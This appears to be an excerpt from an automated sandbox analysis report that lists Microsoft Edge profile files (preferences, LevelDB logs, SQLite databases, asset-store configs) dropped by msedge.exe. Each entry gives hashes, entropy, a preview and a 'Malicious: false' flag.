Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376756622671443","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7e8fd37f-d08e-4753-baa2-95c0ea94aa08.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17426), with no line terminators
Category:	dropped
Size (bytes):	17428
Entropy (8bit):	5.490900079263575
Encrypted:	false
SSDEEP:	192:stycJ99QTryDiuabatSuypAsyHaFvrEhAzkhxdN7cK4K9/N4PcZl8HbV+F5l1QwE:stycPGQSu4AsyHCDsAOfhN4EKbG1QwF6
MD5:	5F1022C763204E63ECAEDF99B22B4A6F
SHA1:	2ECCB33F0FDC2CA9D2460CD134A075A0077CC64B
SHA-256:	4B1EC3536D90B41AE7B0474A12F37DCCDE2C19B23FC76B8A225773FE6F4EB04B
SHA-512:	20B222A9489214982A6A482BA9CC9410F9B6BC96C7032D9884420D91518B34129E45A24B580EA610FA9B6FC5CED7AAC4681FC8005CE88124559121AF82293193
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376756622671443","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.251669733014997
Encrypted:	false
SSDEEP:	6:Hg9jdWd3B1N723oH+Tcwtp3hBtB2KLlVg9hVWt+q2PN723oH+Tcwtp3hBWsIFUv:AHWlBaYebp3dFL4n1vVaYebp3eFUv
MD5:	3335704437AC187A48532B7D1B7B5D36
SHA1:	023D72AE94E4E5C55A3B66806480CDC6B177E3A5
SHA-256:	EAE6563F3AAA0711A403458DB4A52CBB842391014B40499E3D651B371FC98DFA
SHA-512:	1AAB234735134AD8003B8B5B6EAF6E66897A67E62B1F8C380DF41859660FE0EFFBA991B94FAF6BA5D7DEB1BF6D9CBD09C93BCA395880AC8C3C4BB8E48478A336
Malicious:	false
Preview:	2024/11/22-08:43:47.758 1f28 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/22-08:43:47.770 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222877198297606
Encrypted:	false
SSDEEP:	24576:IbPMZpVlfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVlfx2mjF
MD5:	CEC1625C9C2E1DA45006409435F2F9B6
SHA1:	8AF7B19D8FCF28827545E0AE0365D9B0C0D676A0
SHA-256:	49B9E2999936D97BCE04DE5A615C5884337B4B107ED277AC232812B1EBCEFE02
SHA-512:	3F56A5F0DCACA423F67CB3449B756F5821B3FB97613ACC224F1A2DC8CA1C596C43B6DE769BADCF17A84C071FEE5966DC04026B21C5D4CE5574A0414B439C9F2B
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.120780738863653
Encrypted:	false
SSDEEP:	6:Hg9H8i+q2PN723oH+Tcwt9Eh1tIFUt8Yg9kWZmw+Yg95VkwON723oH+Tcwt9Eh1H:Aqi+vVaYeb9Eh16FUt8JJ/+JnV5OaYe8
MD5:	4F8C8F3A644F221E9B45EC5B294728FF
SHA1:	FC094840DE4C2179E2FCD1EC883F12974E320A00
SHA-256:	56C92AB50144FC1721A0A5BCB0C800D8FCAF46A7E685068F4702519D215CA191
SHA-512:	9EBE7FFF0030161C06A4589C5D1B31ADDBDB3C0C02B0E56979B2EC218A4BBAAAB5884EB2F062CF3A89F2A209ADDD02DFDBB0664239D28930513599566FB32A7D
Malicious:	false
Preview:	2024/11/22-08:43:47.844 210c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-08:43:47.857 210c Recovering log #3.2024/11/22-08:43:47.873 210c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.120780738863653
Encrypted:	false
SSDEEP:	6:Hg9H8i+q2PN723oH+Tcwt9Eh1tIFUt8Yg9kWZmw+Yg95VkwON723oH+Tcwt9Eh1H:Aqi+vVaYeb9Eh16FUt8JJ/+JnV5OaYe8
MD5:	4F8C8F3A644F221E9B45EC5B294728FF
SHA1:	FC094840DE4C2179E2FCD1EC883F12974E320A00
SHA-256:	56C92AB50144FC1721A0A5BCB0C800D8FCAF46A7E685068F4702519D215CA191
SHA-512:	9EBE7FFF0030161C06A4589C5D1B31ADDBDB3C0C02B0E56979B2EC218A4BBAAAB5884EB2F062CF3A89F2A209ADDD02DFDBB0664239D28930513599566FB32A7D
Malicious:	false
Preview:	2024/11/22-08:43:47.844 210c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-08:43:47.857 210c Recovering log #3.2024/11/22-08:43:47.873 210c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46306197696160994
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu5u5:TouQq3qh7z3bY2LNW9WMcUvBuS
MD5:	516BEE4D2E32CFFB7AE68F5234793499
SHA1:	6CE9B2F65D37F6DAF23A53596E7B060301CADCF6
SHA-256:	554DDC596723C080454026CE0F73C79A24B00A527D94B906AA11BFA4B2E842FB
SHA-512:	AF584F2E0D687F0514A84BB091179FD37BFAD4DE41644C336B428484AC6C43F5868644AE94E6B33583966B903A23D6677F2609BD769B113DC852B964A001768E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.154339613032068
Encrypted:	false
SSDEEP:	6:HgEpEIq2PN723oH+TcwtnG2tMsIFUt8YgEFZmw+YgEXkwON723oH+TcwtnG2tMsd:AEp9vVaYebn9GFUt8JEF/+JEX5OaYebB
MD5:	E6973772C9959C80DD89758BF276E1EB
SHA1:	AB53EA7C7FA7038BA498A06161EC8DF1A7615438
SHA-256:	9C2754E94BE45ACB498B62220A91D321491A4E9173CD2B201087C63E79AF7603
SHA-512:	5B4DF619CC5E69E45F6BB72FD521E7FEC4E12270DB237A33175FEAAD6D90695C075A692972972C8DA3D7C36DAF468AC626A69DCB0192228EEF7B39559A0F41F2
Malicious:	false
Preview:	2024/11/22-08:43:42.172 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-08:43:42.173 1c10 Recovering log #3.2024/11/22-08:43:42.173 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.154339613032068
Encrypted:	false
SSDEEP:	6:HgEpEIq2PN723oH+TcwtnG2tMsIFUt8YgEFZmw+YgEXkwON723oH+TcwtnG2tMsd:AEp9vVaYebn9GFUt8JEF/+JEX5OaYebB
MD5:	E6973772C9959C80DD89758BF276E1EB
SHA1:	AB53EA7C7FA7038BA498A06161EC8DF1A7615438
SHA-256:	9C2754E94BE45ACB498B62220A91D321491A4E9173CD2B201087C63E79AF7603
SHA-512:	5B4DF619CC5E69E45F6BB72FD521E7FEC4E12270DB237A33175FEAAD6D90695C075A692972972C8DA3D7C36DAF468AC626A69DCB0192228EEF7B39559A0F41F2
Malicious:	false
Preview:	2024/11/22-08:43:42.172 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-08:43:42.173 1c10 Recovering log #3.2024/11/22-08:43:42.173 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6133534064718477
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mW3n+1xlMAl8:TLapR+DDNzWjJ0npnyXKUO8+jQepvpmL
MD5:	8910C85D5485D3182E343E93D83227F3
SHA1:	3B3168444438358EEB754154A3087E45F6E22394
SHA-256:	0FCAB7F0ED7A27F5197187DC237E765CF66285F343191C9912F74A918FE7C1A5
SHA-512:	D85BC8B64E3BD3EB7A91AE991042E05F45EE4ECA213C15263D590FF33D2CEE2A5E1D5E43552E187E20DDE9971C3507CFB0B2C1CEB84D65FA72991E6313AAE1C8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354171970285064
Encrypted:	false
SSDEEP:	6144:2A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:2FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	99FA04CF0450489C204269A0462DAF41
SHA1:	AF59B1E2F44C395BE2A09099CA1D0A6E6F8E7D0E
SHA-256:	F86E4C3DC84A14DB2CFD4132A088A15BADF19C01EB7977299D0B3E6A61A1CA6C
SHA-512:	34259F79F2793EE51D6FA1B6DEE7724187ECC4A4FE823E74D6C9C7ABEBCF74F06ECB9C684EE67A2D5634578B8E247289BD5E5AC8A7A2C828549DF85F6DC0C35D
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13376756630956714..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.141461857737208
Encrypted:	false
SSDEEP:	6:HgAumQERM1N723oH+Tcwtk2WwnvB2KLlVgAGlq2PN723oH+Tcwtk2WwnvIFUv:AAumRRsaYebkxwnvFL4AivVaYebkxwnp
MD5:	7C706CBCD90401AD73295A359ED35CDD
SHA1:	F0051004CD84BF6CE101DC0274E11F5437CED42D
SHA-256:	0FCD0464CA822BC605CEB137092333DF2451B7FEEA803E9EB571138D498A6FE8
SHA-512:	A3B5F2831B11CF95244871F328C7183167C1E60294CF08C1E15E09416A0D5C0C7884999553324282CF248A825E00B90747A337E14FFBD2870D5D6D9CB229DBEB
Malicious:	false
Preview:	2024/11/22-08:43:46.831 2124 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/22-08:43:46.872 2124 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.32461332865712
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RL:C1gAg1zfvz
MD5:	235A905EDC2C014FCB90C102C3E42433
SHA1:	4300E1DAADCD03B46B457021808C17762B573157
SHA-256:	DE17A0157A314D0866941C5E0AF280D31C871E1DC934AB02E123E6387B8279A1
SHA-512:	64CAAE352CD1AAE717880FA6C93721481E0436A5A5A86A8D6DA5B6FA688B2A972BBE7692C8AB8C52E77A5DFB9EF190719D75CFFDC733FD69508122416624AFB0
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.130341762967019
Encrypted:	false
SSDEEP:	6:HgE2Aq2PN723oH+Tcwt8aPrqIFUt8YgEfVFZZmw+YgEvAkwON723oH+Tcwt8amLJ:AE2AvVaYebL3FUt8JEfvZ/+JE45OaYeo
MD5:	CC6E9EC3BE67BCF841664A0DDD5012F2
SHA1:	4CC5B58D0CB55E90835A93FD4F261AF4DD55980C
SHA-256:	44EBE731EB26AC6C00A5B26EE5EBF6D172BF6824C4DE34E3738398C471EA5C90
SHA-512:	E533E975A7744FF4BD9FD2A80F09CFAF5BECD3F77BC071947FA789E1C5A0DBF3CE74040693EE869D222AFA23DDD925587A362505AB3C68D55FBBD9B5D7F3D7FD
Malicious:	false
Preview:	2024/11/22-08:43:42.176 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-08:43:42.177 1c10 Recovering log #3.2024/11/22-08:43:42.178 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.130341762967019
Encrypted:	false
SSDEEP:	6:HgE2Aq2PN723oH+Tcwt8aPrqIFUt8YgEfVFZZmw+YgEvAkwON723oH+Tcwt8amLJ:AE2AvVaYebL3FUt8JEfvZ/+JE45OaYeo
